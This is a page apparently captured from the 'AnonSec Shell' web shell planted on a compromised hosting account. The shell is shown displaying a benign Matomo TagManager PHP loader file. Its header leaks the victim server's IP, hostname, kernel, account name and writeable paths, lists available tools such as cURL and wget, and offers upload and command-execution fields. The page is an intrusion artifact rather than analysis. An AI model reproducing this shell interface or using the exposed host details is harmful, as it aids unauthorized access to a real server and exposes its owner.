AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/w/e/awebpaca/piwik/plugins/TagManager/Context/WebContext/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/w/e/awebpaca/piwik/plugins/TagManager/Context/WebContext/JavaScriptTagManagerLoader.php
<?php
/**
 * Matomo - free/libre analytics platform
 *
 * @link https://matomo.org
 * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 */
namespace Piwik\Plugins\TagManager\Context\WebContext;

use Piwik\Context;
use Piwik\Development;
use Piwik\FrontController;
use Piwik\Piwik;
use Piwik\Plugins\TagManager\API\PreviewCookie;

class JavaScriptTagManagerLoader
{
    public function getJavaScriptContent()
    {
        $basePath = PIWIK_DOCUMENT_ROOT . '/plugins/TagManager/javascripts/';
        $tagManagerJs = $basePath . 'tagmanager.js';
        $tagManagerMinJs = $basePath . 'tagmanager.min.js';

        if (Development::isEnabled() || !file_exists($tagManagerMinJs)) {
            $baseJs = file_get_contents($tagManagerJs);
        } else {
            $baseJs = file_get_contents($tagManagerMinJs);
        }

        return $baseJs;
    }

    public function getDetectPreviewModeContent($previewUrl, $idSite, $idContainer)
    {
        $previewCookie = new PreviewCookie();
        $id = $previewCookie->getCookieValueName($idSite, $idContainer);
        $cookieId = $id . urlencode('=') . '1';
        $urlParamEnabledId = PreviewCookie::COOKIE_NAME . '=' . $idContainer;
        $urlParamDisableId = PreviewCookie::COOKIE_NAME . '=0';

        $path = PIWIK_DOCUMENT_ROOT . '/plugins/TagManager/javascripts/previewmodedetection.js';
        $previewJs = file_get_contents($path);
        $previewJs = str_replace('$cookieId', $cookieId, $previewJs);
        $previewJs = str_replace('$urlParamDisableId', $urlParamDisableId, $previewJs);
        $previewJs = str_replace('$urlParamEnabledId', $urlParamEnabledId, $previewJs);
        $previewJs = str_replace('$previewUrl', $previewUrl, $previewJs);

        return $previewJs;
    }

    public function getPreviewJsContent()
    {
        $unsetGet = false;
        $unsetPost = false;

        if (!isset($_GET)) {
            $_GET = array();
            $unsetGet = true;
        }
        if (!isset($_POST)) {
            $_POST = array();
            $unsetPost = true;
        }

        $path = PIWIK_DOCUMENT_ROOT . '/plugins/TagManager/javascripts/previewmode.js';
        $previewJs = file_get_contents($path);

        $debugContent = '';
        Context::executeWithQueryParameters(array('period' => 'day', 'date' => 'today'), function () use (&$debugContent) {
            $debugContent = FrontController::getInstance()->dispatch('TagManager', 'debug');
        });

        $debugContent = str_replace(Piwik::getCurrentUserTokenAuth(), 'anonymous', $debugContent); // make sure to not expose somehow the token
        $debugContent = json_encode($debugContent);
        $previewJs = str_replace(array('/*!! previewContent */', '/*!!! previewContent */'), $debugContent, $previewJs);

        if ($unsetGet) {
            unset($_GET);
        }

        if ($unsetPost) {
            unset($_POST);
        }

        return $previewJs;
    }


}

Anon7 - 2022
AnonSec Team